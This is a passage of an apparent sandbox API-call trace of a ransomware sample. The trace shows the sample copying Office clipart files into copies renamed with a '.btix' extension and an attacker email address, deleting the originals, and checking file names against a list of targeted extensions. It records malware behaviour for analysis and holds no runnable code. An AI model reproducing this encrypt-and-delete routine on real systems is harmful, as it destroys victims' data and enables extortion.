lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1 [0158.421] WriteFile (in: hFile=0x338, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0xec, lpOverlapped=0x0) returned 1 [0158.421] SetEndOfFile (hFile=0x338) returned 1 [0158.421] CloseHandle (hObject=0x338) returned 1 [0158.421] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.421] SetEndOfFile (hFile=0x2fc) returned 1 [0158.422] CloseHandle (hObject=0x2fc) returned 1 [0158.422] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0158.422] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\explr_01.mid")) returned 1 [0158.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0158.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0158.423] lstrlenW (lpString=".doc") returned 4 [0158.423] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0158.423] lstrlenW (lpString=".docx") returned 5 [0158.423] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0158.423] lstrlenW (lpString=".pdf") returned 4 [0158.423] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0158.423] lstrlenW (lpString=".xls") returned 4 [0158.423] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0158.423] lstrlenW (lpString=".xlsx") returned 5 [0158.423] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0158.423] lstrlenW (lpString=".ppt") returned 4 [0158.423] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0158.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0158.423] lstrlenW (lpString=".zip") returned 4 [0158.423] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0158.423] lstrlenW (lpString=".rar") returned 4 [0158.423] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0158.423] lstrlenW (lpString=".bz2") returned 4 [0158.423] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0158.423] lstrlenW (lpString=".7z") returned 3 [0158.423] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0158.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0158.423] lstrlenW (lpString=".dbf") returned 4 [0158.423] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0158.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0158.423] lstrlenW (lpString=".1cd") returned 4 [0158.423] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0158.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0158.423] lstrlenW (lpString=".jpg") returned 4 [0158.423] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0158.424] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.424] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fall_01.mid.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0158.424] GetLastError () returned 0x0 [0158.424] ReadFile (in: hFile=0x2fc, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x12ee, lpOverlapped=0x0) returned 1 [0158.425] WriteFile (in: hFile=0x338, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0x12f0, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0x12f0, lpOverlapped=0x0) returned 1 [0158.426] ReadFile (in: hFile=0x2fc, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1 [0158.426] WriteFile (in: hFile=0x338, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0xea, lpOverlapped=0x0) returned 1 [0158.426] SetEndOfFile (hFile=0x338) returned 1 [0158.426] CloseHandle (hObject=0x338) returned 1 [0158.426] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.426] SetEndOfFile (hFile=0x2fc) returned 1 [0158.427] CloseHandle (hObject=0x2fc) returned 1 [0158.427] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0158.427] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fall_01.mid")) returned 1 [0158.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0158.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0158.428] lstrlenW (lpString=".doc") returned 4 [0158.428] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0158.428] lstrlenW (lpString=".docx") returned 5 [0158.428] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0158.428] lstrlenW (lpString=".pdf") returned 4 [0158.428] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0158.428] lstrlenW (lpString=".xls") returned 4 [0158.428] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0158.428] lstrlenW (lpString=".xlsx") returned 5 [0158.428] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0158.756] lstrlenW (lpString=".ppt") returned 4 [0158.756] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0158.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0158.756] lstrlenW (lpString=".zip") returned 4 [0158.756] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0158.756] lstrlenW (lpString=".rar") returned 4 [0158.756] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0158.756] lstrlenW (lpString=".bz2") returned 4 [0158.756] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0158.756] lstrlenW (lpString=".7z") returned 3 [0158.756] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0158.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0158.757] lstrlenW (lpString=".dbf") returned 4 [0158.757] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0158.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0158.757] lstrlenW (lpString=".1cd") returned 4 [0158.757] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0158.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0158.757] lstrlenW (lpString=".jpg") returned 4 [0158.757] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0158.757] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.757] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\paper_01.mid.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0158.757] GetLastError () returned 0x0 [0158.758] ReadFile (in: hFile=0x348, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x1a6b, lpOverlapped=0x0) returned 1 [0158.758] WriteFile (in: hFile=0x2fc, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0x1a70, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0x1a70, lpOverlapped=0x0) returned 1 [0158.759] ReadFile (in: hFile=0x348, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1 [0158.759] WriteFile (in: hFile=0x2fc, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0xec, lpOverlapped=0x0) returned 1 [0158.759] SetEndOfFile (hFile=0x2fc) returned 1 [0158.759] CloseHandle (hObject=0x2fc) returned 1 [0158.760] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.760] SetEndOfFile (hFile=0x348) returned 1 [0158.760] CloseHandle (hObject=0x348) returned 1 [0158.760] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0158.761] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\paper_01.mid")) returned 1 [0158.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68 [0158.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68 [0158.761] lstrlenW (lpString=".doc") returned 4 [0158.761] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0158.761] lstrlenW (lpString=".docx") returned 5 [0158.761] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0158.761] lstrlenW (lpString=".pdf") returned 4 [0158.761] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0158.761] lstrlenW (lpString=".xls") returned 4 [0158.761] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0158.761] lstrlenW (lpString=".xlsx") returned 5 [0158.761] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0158.761] lstrlenW (lpString=".ppt") returned 4 [0158.761] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0158.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68 [0158.762] lstrlenW (lpString=".zip") returned 4 [0158.762] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0158.762] lstrlenW (lpString=".rar") returned 4 [0158.762] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0158.762] lstrlenW (lpString=".bz2") returned 4 [0158.762] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0158.762] lstrlenW (lpString=".7z") returned 3 [0158.762] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0158.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68 [0158.762] lstrlenW (lpString=".dbf") returned 4 [0158.762] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0158.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68 [0158.762] lstrlenW (lpString=".1cd") returned 4 [0158.762] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0158.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68 [0158.762] lstrlenW (lpString=".jpg") returned 4 [0158.762] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0158.762] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.762] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.762] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_01.mid.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0158.763] GetLastError () returned 0x0 [0158.763] ReadFile (in: hFile=0x348, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x195b, lpOverlapped=0x0) returned 1 [0158.763] WriteFile (in: hFile=0x2fc, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0x1960, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0x1960, lpOverlapped=0x0) returned 1 [0158.764] ReadFile (in: hFile=0x348, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1 [0158.764] WriteFile (in: hFile=0x2fc, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0xec, lpOverlapped=0x0) returned 1 [0158.764] SetEndOfFile (hFile=0x2fc) returned 1 [0158.764] CloseHandle (hObject=0x2fc) returned 1 [0158.764] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.765] SetEndOfFile (hFile=0x348) returned 1 [0158.765] CloseHandle (hObject=0x348) returned 1 [0158.765] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0158.765] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_01.mid")) returned 1 [0158.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68 [0158.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68 [0158.766] lstrlenW (lpString=".doc") returned 4 [0158.766] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0158.766] lstrlenW (lpString=".docx") returned 5 [0158.766] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0158.766] lstrlenW (lpString=".pdf") returned 4 [0158.766] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0158.766] lstrlenW (lpString=".xls") returned 4 [0158.766] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0158.766] lstrlenW (lpString=".xlsx") returned 5 [0158.766] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0158.766] lstrlenW (lpString=".ppt") returned 4 [0158.766] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0158.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68 [0158.766] lstrlenW (lpString=".zip") returned 4 [0158.766] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0158.766] lstrlenW (lpString=".rar") returned 4 [0158.766] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0158.766] lstrlenW (lpString=".bz2") returned 4 [0158.766] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0158.766] lstrlenW (lpString=".7z") returned 3 [0158.766] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0158.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68 [0158.766] lstrlenW (lpString=".dbf") returned 4 [0158.766] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0158.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68 [0158.767] lstrlenW (lpString=".1cd") returned 4 [0158.767] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0158.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68 [0158.767] lstrlenW (lpString=".jpg") returned 4 [0158.767] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0158.767] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.767] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_02.mid.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0158.767] GetLastError () returned 0x0 [0158.767] ReadFile (in: hFile=0x348, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x1652, lpOverlapped=0x0) returned 1 [0158.768] WriteFile (in: hFile=0x2fc, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0x1660, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0x1660, lpOverlapped=0x0) returned 1 [0158.769] ReadFile (in: hFile=0x348, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1 [0158.769] WriteFile (in: hFile=0x2fc, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0xec, lpOverlapped=0x0) returned 1 [0158.769] SetEndOfFile (hFile=0x2fc) returned 1 [0158.769] CloseHandle (hObject=0x2fc) returned 1 [0158.769] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.769] SetEndOfFile (hFile=0x348) returned 1 [0158.770] CloseHandle (hObject=0x348) returned 1 [0158.770] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0158.770] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_02.mid")) returned 1 [0158.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68 [0158.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68 [0158.771] lstrlenW (lpString=".doc") returned 4 [0158.771] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0158.771] lstrlenW (lpString=".docx") returned 5 [0158.771] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1 [0158.771] lstrlenW (lpString=".pdf") returned 4 [0158.771] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0158.771] lstrlenW (lpString=".xls") returned 4 [0158.771] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0158.771] lstrlenW (lpString=".xlsx") returned 5 [0158.771] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1 [0158.771] lstrlenW (lpString=".ppt") returned 4 [0158.771] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0158.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68 [0158.771] lstrlenW (lpString=".zip") returned 4 [0158.771] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0158.771] lstrlenW (lpString=".rar") returned 4 [0158.771] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0158.771] lstrlenW (lpString=".bz2") returned 4 [0158.771] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0158.771] lstrlenW (lpString=".7z") returned 3 [0158.771] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0158.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68 [0158.771] lstrlenW (lpString=".dbf") returned 4 [0158.771] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0158.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68 [0158.771] lstrlenW (lpString=".1cd") returned 4 [0158.771] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0158.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68 [0158.771] lstrlenW (lpString=".jpg") returned 4 [0158.771] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0158.772] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.772] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.772] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_03.mid.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0158.772] GetLastError () returned 0x0 [0158.772] ReadFile (in: hFile=0x348, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x215a, lpOverlapped=0x0) returned 1 [0158.773] WriteFile (in: hFile=0x2fc, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0x2160, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0x2160, lpOverlapped=0x0) returned 1 [0158.774] ReadFile (in: hFile=0x348, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1 [0158.774] WriteFile (in: hFile=0x2fc, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0xec, lpOverlapped=0x0) returned 1 [0158.774] SetEndOfFile (hFile=0x2fc) returned 1 [0158.774] CloseHandle (hObject=0x2fc) returned 1 [0158.775] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.775] SetEndOfFile (hFile=0x348) returned 1 [0158.775] CloseHandle (hObject=0x348) returned 1 [0158.775] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0158.775] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_03.mid")) returned 1 [0158.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0158.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0158.776] lstrlenW (lpString=".doc") returned 4 [0158.776] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0158.776] lstrlenW (lpString=".docx") returned 5 [0158.776] lstrcmpiW (lpString1=".docx", lpString2="3.MID") returned -1 [0158.776] lstrlenW (lpString=".pdf") returned 4 [0158.776] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0158.776] lstrlenW (lpString=".xls") returned 4 [0158.776] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0158.776] lstrlenW (lpString=".xlsx") returned 5 [0158.776] lstrcmpiW (lpString1=".xlsx", lpString2="3.MID") returned -1 [0158.776] lstrlenW (lpString=".ppt") returned 4 [0158.776] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0158.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0158.776] lstrlenW (lpString=".zip") returned 4 [0158.776] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0158.776] lstrlenW (lpString=".rar") returned 4 [0158.776] 